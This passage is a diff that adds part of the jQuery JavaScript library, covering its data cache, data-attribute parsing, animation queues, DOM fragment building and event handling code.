+		// Take the "read" path and allow the get method to determine
+		// which value to return, respectively either:
+		//
+		//   1. The entire cache object
+		//   2. The data stored at the key
+		//
+		if ( key === undefined ||
+				( ( key && typeof key === "string" ) && value === undefined ) ) {
+
+			stored = this.get( owner, key );
+
+			return stored !== undefined ?
+				stored : this.get( owner, jQuery.camelCase( key ) );
+		}
+
+		// When the key is not a string, or both a key and value
+		// are specified, set or extend (existing objects) with either:
+		//
+		//   1. An object of properties
+		//   2. A key and value
+		//
+		this.set( owner, key, value );
+
+		// Since the "set" path can have two possible entry points
+		// return the expected data based on which path was taken[*]
+		return value !== undefined ? value : key;
+	},
+	remove: function( owner, key ) {
+		var i, name, camel,
+			cache = owner[ this.expando ];
+
+		if ( cache === undefined ) {
+			return;
+		}
+
+		if ( key === undefined ) {
+			this.register( owner );
+
+		} else {
+
+			// Support array or space separated string of keys
+			if ( jQuery.isArray( key ) ) {
+
+				// If "name" is an array of keys...
+				// When data is initially created, via ("key", "val") signature,
+				// keys will be converted to camelCase.
+				// Since there is no way to tell _how_ a key was added, remove
+				// both plain key and camelCase key. #12786
+				// This will only penalize the array argument path.
+				name = key.concat( key.map( jQuery.camelCase ) );
+			} else {
+				camel = jQuery.camelCase( key );
+
+				// Try the string as a key before any manipulation
+				if ( key in cache ) {
+					name = [ key, camel ];
+				} else {
+
+					// If a key with the spaces exists, use it.
+					// Otherwise, create an array by matching non-whitespace
+					name = camel;
+					name = name in cache ?
+						[ name ] : ( name.match( rnotwhite ) || [] );
+				}
+			}
+
+			i = name.length;
+
+			while ( i-- ) {
+				delete cache[ name[ i ] ];
+			}
+		}
+
+		// Remove the expando if there's no more data
+		if ( key === undefined || jQuery.isEmptyObject( cache ) ) {
+
+			// Support: Chrome <= 35-45+
+			// Webkit & Blink performance suffers when deleting properties
+			// from DOM nodes, so set to undefined instead
+			// https://code.google.com/p/chromium/issues/detail?id=378607
+			if ( owner.nodeType ) {
+				owner[ this.expando ] = undefined;
+			} else {
+				delete owner[ this.expando ];
+			}
+		}
+	},
+	hasData: function( owner ) {
+		var cache = owner[ this.expando ];
+		return cache !== undefined && !jQuery.isEmptyObject( cache );
+	}
+};
+var dataPriv = new Data();
+
+var dataUser = new Data();
+
+
+
+//	Implementation Summary
+//
+//	1. Enforce API surface and semantic compatibility with 1.9.x branch
+//	2. Improve the module's maintainability by reducing the storage
+//		paths to a single mechanism.
+//	3. Use the same single mechanism to support "private" and "user" data.
+//	4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
+//	5. Avoid exposing implementation details on user objects (eg. expando properties)
+//	6. Provide a clear path for implementation upgrade to WeakMap in 2014
+
+var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
+	rmultiDash = /[A-Z]/g;
+
+function dataAttr( elem, key, data ) {
+	var name;
+
+	// If nothing was found internally, try to fetch any
+	// data from the HTML5 data-* attribute
+	if ( data === undefined && elem.nodeType === 1 ) {
+		name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase();
+		data = elem.getAttribute( name );
+
+		if ( typeof data === "string" ) {
+			try {
+				data = data === "true" ? true :
+					data === "false" ? false :
+					data === "null" ? null :
+
+					// Only convert to a number if it doesn't change the string
+					+data + "" === data ? +data :
+					rbrace.test( data ) ? jQuery.parseJSON( data ) :
+					data;
+			} catch ( e ) {}
+
+			// Make sure we set the data so it isn't changed later
+			dataUser.set( elem, key, data );
+		} else {
+			data = undefined;
+		}
+	}
+	return data;
+}
+
+jQuery.extend( {
+	hasData: function( elem ) {
+		return dataUser.hasData( elem ) || dataPriv.hasData( elem );
+	},
+
+	data: function( elem, name, data ) {
+		return dataUser.access( elem, name, data );
+	},
+
+	removeData: function( elem, name ) {
+		dataUser.remove( elem, name );
+	},
+
+	// TODO: Now that all calls to _data and _removeData have been replaced
+	// with direct calls to dataPriv methods, these can be deprecated.
+	_data: function( elem, name, data ) {
+		return dataPriv.access( elem, name, data );
+	},
+
+	_removeData: function( elem, name ) {
+		dataPriv.remove( elem, name );
+	}
+} );
+
+jQuery.fn.extend( {
+	data: function( key, value ) {
+		var i, name, data,
+			elem = this[ 0 ],
+			attrs = elem && elem.attributes;
+
+		// Gets all values
+		if ( key === undefined ) {
+			if ( this.length ) {
+				data = dataUser.get( elem );
+
+				if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) {
+					i = attrs.length;
+					while ( i-- ) {
+
+						// Support: IE11+
+						// The attrs elements can be null (#14894)
+						if ( attrs[ i ] ) {
+							name = attrs[ i ].name;
+							if ( name.indexOf( "data-" ) === 0 ) {
+								name = jQuery.camelCase( name.slice( 5 ) );
+								dataAttr( elem, name, data[ name ] );
+							}
+						}
+					}
+					dataPriv.set( elem, "hasDataAttrs", true );
+				}
+			}
+
+			return data;
+		}
+
+		// Sets multiple values
+		if ( typeof key === "object" ) {
+			return this.each( function() {
+				dataUser.set( this, key );
+			} );
+		}
+
+		return access( this, function( value ) {
+			var data, camelKey;
+
+			// The calling jQuery object (element matches) is not empty
+			// (and therefore has an element appears at this[ 0 ]) and the
+			// `value` parameter was not undefined. An empty jQuery object
+			// will result in `undefined` for elem = this[ 0 ] which will
+			// throw an exception if an attempt to read a data cache is made.
+			if ( elem && value === undefined ) {
+
+				// Attempt to get data from the cache
+				// with the key as-is
+				data = dataUser.get( elem, key ) ||
+
+					// Try to find dashed key if it exists (gh-2779)
+					// This is for 2.2.x only
+					dataUser.get( elem, key.replace( rmultiDash, "-$&" ).toLowerCase() );
+
+				if ( data !== undefined ) {
+					return data;
+				}
+
+				camelKey = jQuery.camelCase( key );
+
+				// Attempt to get data from the cache
+				// with the key camelized
+				data = dataUser.get( elem, camelKey );
+				if ( data !== undefined ) {
+					return data;
+				}
+
+				// Attempt to "discover" the data in
+				// HTML5 custom data-* attrs
+				data = dataAttr( elem, camelKey, undefined );
+				if ( data !== undefined ) {
+					return data;
+				}
+
+				// We tried really hard, but the data doesn't exist.
+				return;
+			}
+
+			// Set the data...
+			camelKey = jQuery.camelCase( key );
+			this.each( function() {
+
+				// First, attempt to store a copy or reference of any
+				// data that might've been store with a camelCased key.
+				var data = dataUser.get( this, camelKey );
+
+				// For HTML5 data-* attribute interop, we have to
+				// store property names with dashes in a camelCase form.
+				// This might not apply to all properties...*
+				dataUser.set( this, camelKey, value );
+
+				// *... In the case of properties that might _actually_
+				// have dashes, we need to also store a copy of that
+				// unchanged property.
+				if ( key.indexOf( "-" ) > -1 && data !== undefined ) {
+					dataUser.set( this, key, value );
+				}
+			} );
+		}, null, value, arguments.length > 1, null, true );
+	},
+
+	removeData: function( key ) {
+		return this.each( function() {
+			dataUser.remove( this, key );
+		} );
+	}
+} );
+
+
+jQuery.extend( {
+	queue: function( elem, type, data ) {
+		var queue;
+
+		if ( elem ) {
+			type = ( type || "fx" ) + "queue";
+			queue = dataPriv.get( elem, type );
+
+			// Speed up dequeue by getting out quickly if this is just a lookup
+			if ( data ) {
+				if ( !queue || jQuery.isArray( data ) ) {
+					queue = dataPriv.access( elem, type, jQuery.makeArray( data ) );
+				} else {
+					queue.push( data );
+				}
+			}
+			return queue || [];
+		}
+	},
+
+	dequeue: function( elem, type ) {
+		type = type || "fx";
+
+		var queue = jQuery.queue( elem, type ),
+			startLength = queue.length,
+			fn = queue.shift(),
+			hooks = jQuery._queueHooks( elem, type ),
+			next = function() {
+				jQuery.dequeue( elem, type );
+			};
+
+		// If the fx queue is dequeued, always remove the progress sentinel
+		if ( fn === "inprogress" ) {
+			fn = queue.shift();
+			startLength--;
+		}
+
+		if ( fn ) {
+
+			// Add a progress sentinel to prevent the fx queue from being
+			// automatically dequeued
+			if ( type === "fx" ) {
+				queue.unshift( "inprogress" );
+			}
+
+			// Clear up the last queue stop function
+			delete hooks.stop;
+			fn.call( elem, next, hooks );
+		}
+
+		if ( !startLength && hooks ) {
+			hooks.empty.fire();
+		}
+	},
+
+	// Not public - generate a queueHooks object, or return the current one
+	_queueHooks: function( elem, type ) {
+		var key = type + "queueHooks";
+		return dataPriv.get( elem, key ) || dataPriv.access( elem, key, {
+			empty: jQuery.Callbacks( "once memory" ).add( function() {
+				dataPriv.remove( elem, [ type + "queue", key ] );
+			} )
+		} );
+	}
+} );
+
+jQuery.fn.extend( {
+	queue: function( type, data ) {
+		var setter = 2;
+
+		if ( typeof type !== "string" ) {
+			data = type;
+			type = "fx";
+			setter--;
+		}
+
+		if ( arguments.length < setter ) {
+			return jQuery.queue( this[ 0 ], type );
+		}
+
+		return data === undefined ?
+			this :
+			this.each( function() {
+				var queue = jQuery.queue( this, type, data );
+
+				// Ensure a hooks for this queue
+				jQuery._queueHooks( this, type );
+
+				if ( type === "fx" && queue[ 0 ] !== "inprogress" ) {
+					jQuery.dequeue( this, type );
+				}
+			} );
+	},
+	dequeue: function( type ) {
+		return this.each( function() {
+			jQuery.dequeue( this, type );
+		} );
+	},
+	clearQueue: function( type ) {
+		return this.queue( type || "fx", [] );
+	},
+
+	// Get a promise resolved when queues of a certain type
+	// are emptied (fx is the type by default)
+	promise: function( type, obj ) {
+		var tmp,
+			count = 1,
+			defer = jQuery.Deferred(),
+			elements = this,
+			i = this.length,
+			resolve = function() {
+				if ( !( --count ) ) {
+					defer.resolveWith( elements, [ elements ] );
+				}
+			};
+
+		if ( typeof type !== "string" ) {
+			obj = type;
+			type = undefined;
+		}
+		type = type || "fx";
+
+		while ( i-- ) {
+			tmp = dataPriv.get( elements[ i ], type + "queueHooks" );
+			if ( tmp && tmp.empty ) {
+				count++;
+				tmp.empty.add( resolve );
+			}
+		}
+		resolve();
+		return defer.promise( obj );
+	}
+} );
+var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source;
+
+var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" );
+
+
+var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
+
+var isHidden = function( elem, el ) {
+
+		// isHidden might be called from jQuery#filter function;
+		// in that case, element will be second argument
+		elem = el || elem;
+		return jQuery.css( elem, "display" ) === "none" ||
+			!jQuery.contains( elem.ownerDocument, elem );
+	};
+
+
+
+function adjustCSS( elem, prop, valueParts, tween ) {
+	var adjusted,
+		scale = 1,
+		maxIterations = 20,
+		currentValue = tween ?
+			function() { return tween.cur(); } :
+			function() { return jQuery.css( elem, prop, "" ); },
+		initial = currentValue(),
+		unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ),
+
+		// Starting value computation is required for potential unit mismatches
+		initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) &&
+			rcssNum.exec( jQuery.css( elem, prop ) );
+
+	if ( initialInUnit && initialInUnit[ 3 ] !== unit ) {
+
+		// Trust units reported by jQuery.css
+		unit = unit || initialInUnit[ 3 ];
+
+		// Make sure we update the tween properties later on
+		valueParts = valueParts || [];
+
+		// Iteratively approximate from a nonzero starting point
+		initialInUnit = +initial || 1;
+
+		do {
+
+			// If previous iteration zeroed out, double until we get *something*.
+			// Use string for doubling so we don't accidentally see scale as unchanged below
+			scale = scale || ".5";
+
+			// Adjust and apply
+			initialInUnit = initialInUnit / scale;
+			jQuery.style( elem, prop, initialInUnit + unit );
+
+		// Update scale, tolerating zero or NaN from tween.cur()
+		// Break the loop if scale is unchanged or perfect, or if we've just had enough.
+		} while (
+			scale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations
+		);
+	}
+
+	if ( valueParts ) {
+		initialInUnit = +initialInUnit || +initial || 0;
+
+		// Apply relative offset (+=/-=) if specified
+		adjusted = valueParts[ 1 ] ?
+			initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :
+			+valueParts[ 2 ];
+		if ( tween ) {
+			tween.unit = unit;
+			tween.start = initialInUnit;
+			tween.end = adjusted;
+		}
+	}
+	return adjusted;
+}
+var rcheckableType = ( /^(?:checkbox|radio)$/i );
+
+var rtagName = ( /<([\w:-]+)/ );
+
+var rscriptType = ( /^$|\/(?:java|ecma)script/i );
+
+
+
+// We have to close these tags to support XHTML (#13200)
+var wrapMap = {
+
+	// Support: IE9
+	option: [ 1, "<select multiple='multiple'>", "</select>" ],
+
+	// XHTML parsers do not magically insert elements in the
+	// same way that tag soup parsers do. So we cannot shorten
+	// this by omitting <tbody> or other required elements.
+	thead: [ 1, "<table>", "</table>" ],
+	col: [ 2, "<table><colgroup>", "</colgroup></table>" ],
+	tr: [ 2, "<table><tbody>", "</tbody></table>" ],
+	td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ],
+
+	_default: [ 0, "", "" ]
+};
+
+// Support: IE9
+wrapMap.optgroup = wrapMap.option;
+
+wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
+wrapMap.th = wrapMap.td;
+
+
+function getAll( context, tag ) {
+
+	// Support: IE9-11+
+	// Use typeof to avoid zero-argument method invocation on host objects (#15151)
+	var ret = typeof context.getElementsByTagName !== "undefined" ?
+			context.getElementsByTagName( tag || "*" ) :
+			typeof context.querySelectorAll !== "undefined" ?
+				context.querySelectorAll( tag || "*" ) :
+			[];
+
+	return tag === undefined || tag && jQuery.nodeName( context, tag ) ?
+		jQuery.merge( [ context ], ret ) :
+		ret;
+}
+
+
+// Mark scripts as having already been evaluated
+function setGlobalEval( elems, refElements ) {
+	var i = 0,
+		l = elems.length;
+
+	for ( ; i < l; i++ ) {
+		dataPriv.set(
+			elems[ i ],
+			"globalEval",
+			!refElements || dataPriv.get( refElements[ i ], "globalEval" )
+		);
+	}
+}
+
+
+var rhtml = /<|&#?\w+;/;
+
+function buildFragment( elems, context, scripts, selection, ignored ) {
+	var elem, tmp, tag, wrap, contains, j,
+		fragment = context.createDocumentFragment(),
+		nodes = [],
+		i = 0,
+		l = elems.length;
+
+	for ( ; i < l; i++ ) {
+		elem = elems[ i ];
+
+		if ( elem || elem === 0 ) {
+
+			// Add nodes directly
+			if ( jQuery.type( elem ) === "object" ) {
+
+				// Support: Android<4.1, PhantomJS<2
+				// push.apply(_, arraylike) throws on ancient WebKit
+				jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );
+
+			// Convert non-html into a text node
+			} else if ( !rhtml.test( elem ) ) {
+				nodes.push( context.createTextNode( elem ) );
+
+			// Convert html into DOM nodes
+			} else {
+				tmp = tmp || fragment.appendChild( context.createElement( "div" ) );
+
+				// Deserialize a standard representation
+				tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
+				wrap = wrapMap[ tag ] || wrapMap._default;
+				tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
+
+				// Descend through wrappers to the right content
+				j = wrap[ 0 ];
+				while ( j-- ) {
+					tmp = tmp.lastChild;
+				}
+
+				// Support: Android<4.1, PhantomJS<2
+				// push.apply(_, arraylike) throws on ancient WebKit
+				jQuery.merge( nodes, tmp.childNodes );
+
+				// Remember the top-level container
+				tmp = fragment.firstChild;
+
+				// Ensure the created nodes are orphaned (#12392)
+				tmp.textContent = "";
+			}
+		}
+	}
+
+	// Remove wrapper from fragment
+	fragment.textContent = "";
+
+	i = 0;
+	while ( ( elem = nodes[ i++ ] ) ) {
+
+		// Skip elements already in the context collection (trac-4087)
+		if ( selection && jQuery.inArray( elem, selection ) > -1 ) {
+			if ( ignored ) {
+				ignored.push( elem );
+			}
+			continue;
+		}
+
+		contains = jQuery.contains( elem.ownerDocument, elem );
+
+		// Append to fragment
+		tmp = getAll( fragment.appendChild( elem ), "script" );
+
+		// Preserve script evaluation history
+		if ( contains ) {
+			setGlobalEval( tmp );
+		}
+
+		// Capture executables
+		if ( scripts ) {
+			j = 0;
+			while ( ( elem = tmp[ j++ ] ) ) {
+				if ( rscriptType.test( elem.type || "" ) ) {
+					scripts.push( elem );
+				}
+			}
+		}
+	}
+
+	return fragment;
+}
+
+
+( function() {
+	var fragment = document.createDocumentFragment(),
+		div = fragment.appendChild( document.createElement( "div" ) ),
+		input = document.createElement( "input" );
+
+	// Support: Android 4.0-4.3, Safari<=5.1
+	// Check state lost if the name is set (#11217)
+	// Support: Windows Web Apps (WWA)
+	// `name` and `type` must use .setAttribute for WWA (#14901)
+	input.setAttribute( "type", "radio" );
+	input.setAttribute( "checked", "checked" );
+	input.setAttribute( "name", "t" );
+
+	div.appendChild( input );
+
+	// Support: Safari<=5.1, Android<4.2
+	// Older WebKit doesn't clone checked state correctly in fragments
+	support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
+
+	// Support: IE<=11+
+	// Make sure textarea (and checkbox) defaultValue is properly cloned
+	div.innerHTML = "<textarea>x</textarea>";
+	support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
+} )();
+
+
+var
+	rkeyEvent = /^key/,
+	rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
+	rtypenamespace = /^([^.]*)(?:\.(.+)|)/;
+
+function returnTrue() {
+	return true;
+}
+
+function returnFalse() {
+	return false;
+}
+
+// Support: IE9
+// See #13393 for more info
+function safeActiveElement() {
+	try {
+		return document.activeElement;
+	} catch ( err ) { }
+}
+
+function on( elem, types, selector, data, fn, one ) {
+	var origFn, type;
+
+	// Types can be a map of types/handlers
+	if ( typeof types === "object" ) {
+
+		// ( types-Object, selector, data )
+		if ( typeof selector !== "string" ) {
+
+			// ( types-Object, data )
+			data = data || selector;
+			selector = undefined;
+		}
+		for ( type in types ) {
+			on( elem, type, selector, data, types[ type ], one );
+		}
+		return elem;
+	}
+
+	if ( data == null && fn == null ) {
+
+		// ( types, fn )
+		fn = selector;
+		data = selector = undefined;
+	} else if ( fn == null ) {
+		if ( typeof selector === "string" ) {
+
+			// ( types, selector, fn )
+			fn = data;
+			data = undefined;
+		} else {
+
+			// ( types, data, fn )
+			fn = data;
+			data = selector;
+			selector = undefined;
+		}
+	}
+	if ( fn === false ) {
+		fn = returnFalse;
+	} else if ( !fn ) {
+		return this;
+	}
+
+	if ( one === 1 ) {
+		origFn = fn;
+		fn = function( event ) {
+
+			// Can use an empty set, since event contains the info
+			jQuery().off( event );
+			return origFn.apply( this, arguments );
+		};
+
+		// Use same guid so caller can remove using origFn
+		fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
+	}
+	return elem.each( function() {
+		jQuery.event.add( this, types, fn, data, selector );
+	} );
+}
+
+/*
+ * Helper functions for managing events -- not part of the public interface.
+ * Props to Dean Edwards' addEvent library for many of the ideas.
+ */
+jQuery.event = {
+
+	global: {},
+
+	add: function( elem, types, handler, data, selector ) {
+
+		var handleObjIn, eventHandle, tmp,
+			events, t, handleObj,
+			special, handlers, type, namespaces, origType,
+			elemData = dataPriv.get( elem );
+
+		// Don't attach events to noData or text/comment nodes (but allow plain objects)
+		if ( !elemData ) {
+			return;
+		}
+
+		// Caller can pass in an object of custom data in lieu of the handler
+		if ( handler.handler ) {
+			handleObjIn = handler;
+			handler = handleObjIn.handler;
+			selector = handleObjIn.selector;
+		}
+
+		// Make sure that the handler has a unique ID, used to find/remove it later
+		if ( !handler.guid ) {
+			handler.guid = jQuery.guid++;
+		}
+
+		// Init the element's event structure and main handler, if this is the first
+		if ( !( events = elemData.events ) ) {
+			events = elemData.events = {};
+		}
+		if ( !( eventHandle = elemData.handle ) ) {
+			eventHandle = elemData.handle = function( e ) {
+
+				// Discard the second event of a jQuery.event.trigger() and
+				// when an event is called after a page has unloaded
+				return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ?
+					jQuery.event.dispatch.apply( elem, arguments ) : undefined;
+			};
+		}
+
+		// Handle multiple events separated by a space
+		types = ( types || "" ).match( rnotwhite ) || [ "" ];
+		t = types.length;
+		while ( t-- ) {
+			tmp = rtypenamespace.exec( types[ t ] ) || [];
+			type = origType = tmp[ 1 ];
+			namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
+
+			// There *must* be a type, no attaching namespace-only handlers
+			if ( !type ) {
+				continue;
+			}
+
+			// If event changes its type, use the special event handlers for the changed type
+			special = jQuery.event.special[ type ] || {};
+
+			// If selector defined, determine special event api type, otherwise given type
+			type = ( selector ? special.delegateType : special.bindType ) || type;
+
+			// Update special based on newly reset type
+			special = jQuery.event.special[ type ] || {};
+
+			// handleObj is passed to all event handlers
+			handleObj = jQuery.extend( {
+				type: type,
+				origType: origType,
+				data: data,
+				handler: handler,
+				guid: handler.guid,
+				selector: selector,
+				needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
+				namespace: namespaces.join( "." )
+			}, handleObjIn );
+
+			// Init the event handler queue if we're the first
+			if ( !( handlers = events[ type ] ) ) {
+				handlers = events[ type ] = [];
+				handlers.delegateCount = 0;
+
+				// Only use addEventListener if the special events handler returns false
+				if ( !special.setup ||
+					special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
+
+					if ( elem.addEventListener ) {
+						elem.addEventListener( type, eventHandle );
+					}
+				}
+			}
+
+			if ( special.add ) {
+				special.add.call( elem, handleObj );
+
+				if ( !handleObj.handler.guid ) {
+					handleObj.handler.guid = handler.guid;
+				}
+			}
+
+			// Add to the element's handler list, delegates in front
+			if ( selector ) {
+				handlers.splice( handlers.delegateCount++, 0, handleObj );
+			} else {
+				handlers.push( handleObj );
+			}
+
+			// Keep track of which events have ever been used, for event optimization
+			jQuery.event.global[ type ] = true;
+		}
+
+	},
+
+	// Detach an event or set of events from an element
+	remove: function( elem, types, handler, selector, mappedTypes ) {
+
+		var j, origCount, tmp,
+			events, t, handleObj,
+			special, handlers, type, namespaces, origType,
+			elemData = dataPriv.hasData( elem ) && dataPriv.get( elem );
+
+		if ( !elemData || !( events = elemData.events ) ) {
+			return;
+		}
+
+		// Once for each type.namespace in types; type may be omitted
+		types = ( types || "" ).match( rnotwhite ) || [ "" ];
+		t = types.length;
+		while ( t-- ) {
+			tmp = rtypenamespace.exec( types[ t ] ) || [];
+			type = origType = tmp[ 1 ];
+			namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();
+
+			// Unbind all events (on this namespace, if provided) for the element
+			if ( !type ) {
+				for ( type in events ) {
+					jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
+				}
+				continue;
+			}
+
+			special = jQuery.event.special[ type ] || {};
+			type = ( selector ? special.delegateType : special.bindType ) || type;
+			handlers = events[ type ] || [];
+			tmp = tmp[ 2 ] &&
+				new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" );
+
+			// Remove matching events
+			origCount = j = handlers.length;
+			while ( j-- ) {
+				handleObj = handlers[ j ];
+
+				if ( ( mappedTypes || origType === handleObj.origType ) &&
+					( !handler || handler.guid === handleObj.guid ) &&
+					( !tmp || tmp.test( handleObj.namespace ) ) &&
+					( !selector || selector === handleObj.selector ||
+						selector === "**" && handleObj.selector ) ) {
+					handlers.splice( j, 1 );
+
+					if ( handleObj.selector ) {
+						handlers.delegateCount--;
+					}
+					if ( special.remove ) {
+						special.remove.call( elem, handleObj );
+					}
+				}
+			}
+
+			// Remove generic event handler if we removed something and no more handlers exist
+			// (avoids potential for endless recursion during removal of special event handlers)
+			if ( origCount && !handlers.length ) {
+				if ( !special.teardown ||
+					special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
+
+					jQuery.removeEvent( elem, type, elemData.handle );
+				}
+
+				delete events[ type ];
+			}
+		}
+
+		// Remove data and the expando if it's no longer used
+		if ( jQuery.isEmptyObject( events ) ) {
+			dataPriv.remove( elem, "handle events" );
+		}
+	},
+
+	dispatch: function( event ) {
+
+		// Make a writable jQuery.Event from the native event object
+		event = jQuery.event.fix( event );
+
+		var i, j, ret, matched, handleObj,
+			handlerQueue = [],
+			args = slice.call( arguments ),
+			handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [],
+			special = jQuery.event.special[ event.type ] || {};
+
+		// Use the fix-ed jQuery.Event rather than the (read-only) native event
+		args[ 0 ] = event;
+		event.delegateTarget = this;
+
+		// Call the preDispatch hook for the mapped type, and let it bail if desired
+		if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
+			return;
+		}
+
+		// Determine handlers
+		handlerQueue = jQuery.event.handlers.call( this, event, handlers );
+
+		// Run delegates first; they may want to stop propagation beneath us
+		i = 0;
+		while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {
+			event.currentTarget = matched.elem;
+
+			j = 0;
+			while ( ( handleObj = matched.handlers[ j++ ] ) &&
+				!event.isImmediatePropagationStopped() ) {
+
+				// Triggered event must either 1) have no namespace, or 2) have namespace(s)
+				// a subset or equal to those in the bound event (both can have no namespace).
+				if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {
+
+					event.handleObj = handleObj;
+					event.data = handleObj.data;
+
+					ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||
+						handleObj.handler ).apply( matched.elem, args );
+
+					if ( ret !== undefined ) {
+						if ( ( event.result = ret ) === false ) {
+							event.preventDefault();
+							event.stopPropagation();
+						}
+					}
+				}
+			}
+		}
+
+		// Call the postDispatch hook for the mapped type
+		if ( special.postDispatch ) {
+			special.postDispatch.call( this, event );
+		}
+
+		return event.result;
+	},
+
+	handlers: function( event, handlers ) {
+		var i, matches, sel, handleObj,
+			handlerQueue = [],
+			delegateCount = handlers.delegateCount,
+			cur = event.target;
+
+		// Support (at least): Chrome, IE9
+		// Find delegate handlers
+		// Black-hole SVG <use> instance trees (#13180)
+		//
+		// Support: Firefox<=42+
+		// Avoid non-left-click in FF but don't block IE radio events (#3861, gh-2343)
+		if ( delegateCount && cur.nodeType &&
+			( event.type !== "click" || isNaN( event.button ) || event.button < 1 ) ) {
+
+			for ( ; cur !== this; cur = cur.parentNode || this ) {
+
+				// Don't check non-elements (#13208)
+				// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
+				if ( cur.nodeType === 1 && ( cur.disabled !== true || event.type !== "click" ) ) {
+					matches = [];
+					for ( i = 0; i < delegateCount; i++ ) {
+						handleObj = handlers[ i ];
+
+						// Don't conflict with Object.prototype properties (#13203)
+						sel = handleObj.selector + " ";
+
+						if ( matches[ sel ] === undefined ) {
+							matches[ sel ] = handleObj.needsContext ?
+								jQuery( sel, this ).index( cur ) > -1 :
+								jQuery.find( sel, this, null, [ cur ] ).length;
+						}
+						if ( matches[ sel ] ) {
+							matches.push( handleObj );
+						}
+					}
+					if ( matches.length ) {
+						handlerQueue.push( { elem: cur, handlers: matches } );
+					}
+				}
+			}
+		}
+
+		// Add the remaining (directly-bound) handlers
+		if ( delegateCount < handlers.length ) {
+			handlerQueue.push( { elem: this, handlers: handlers.slice( delegateCount ) } );
+		}
+
+		return handlerQueue;
+	},
+
+	// Includes some event props shared by KeyEvent and MouseEvent
+	props: ( "altKey bubbles cancelable ctrlKey currentTarget detail eventPhase " +
+		"metaKey relatedTarget shiftKey target timeStamp view which" ).split( " " ),
+
+	fixHooks: {},
+
+	keyHooks: {
+		props: "char charCode key keyCode".split( " " ),
+		filter: function( event, original ) {
+
+			// Add which for key events
+			if ( event.which == null ) {
+				event.which = original.charCode != null ? original.charCode : original.keyCode;
+			}
+
+			return event;
+		}
+	},
+
+	mouseHooks: {
+		props: ( "button buttons clientX clientY offsetX offsetY pageX pageY " +
+			"screenX screenY toElement" ).split( " " ),
+		filter: function( event, original ) {
+			var eventDoc, doc, body,
+				button = original.button;
+
+			// Calculate pageX/Y if missing and clientX/Y available
+			if ( event.pageX == null && original.clientX != null ) {
+				eventDoc = event.target.ownerDocument || document;
+				doc = eventDoc.documentElement;
+				body = eventDoc.body;
+
+				event.pageX = original.clientX +
+					( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) -
+					( doc && doc.clientLeft || body && body.clientLeft || 0 );
+				event.pageY = original.clientY +
+					( doc && doc.scrollTop  || body && body.scrollTop  || 0 ) -
+					( doc && doc.clientTop  || body && body.clientTop  || 0 );
+			}
+
+			// Add which for click: 1 === left; 2 === middle; 3 === right
+			// Note: button is not normalized, so don't use it
+			if ( !event.which && button !== undefined ) {
+				event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
+			}
+
+			return event;
+		}
+	},
+
+	fix: function( event ) {
+		if ( event[ jQuery.expando ] ) {
+			return event;
+		}
+
+		// Create a writable copy of the event object and normalize some properties
+		var i, prop, copy,
+			type = event.type,
+			originalEvent = event,
+			fixHook = this.fixHooks[ type ];
+
+		if ( !fixHook ) {
+			this.fixHooks[ type ] = fixHook =
+				rmouseEvent.test( type ) ? this.mouseHooks :
+				rkeyEvent.test( type ) ? this.keyHooks :
+				{};
+		}
+		copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
+
+		event = new jQuery.Event( originalEvent );
+
+		i = copy.length;
+		while ( i-- ) {
+			prop = copy[ i ];
+			event[ prop ] = originalEvent[ prop ];
+		}
+
+		// Support: Cordova 2.5 (WebKit) (#13255)
+		// All events should have a target; Cordova deviceready doesn't
+		if ( !event.target ) {
+			event.target = document;
+		}
+
+		// Support: Safari 6.0+, Chrome<28
+		// Target should not be a text node (#504, #13143)
+		if ( event.target.nodeType === 3 ) {
+			event.target = event.target.parentNode;
+		}
+
+		return fixHook.filter ? fixHook.filter( event, originalEvent ) : event;
+	},
+
+	special: {
+		load: {
+
+			// Prevent triggered image.load events from bubbling to window.load
+			noBubble: true
+		},
+		focus: {
+
+			// Fire native event if possible so blur/focus sequence is correct
+			trigger: function() {
+				if ( this !== safeActiveElement() && this.focus ) {
+					this.focus();
+					return false;
+				}
+			},
+			delegateType: "focusin"
+		},
+		blur: {
+			trigger: function() {
+				if ( this === safeActiveElement() && this.blur ) {
+					this.blur();
+					return false;
+				}
+			},
+			delegateType: "focusout"
+		},
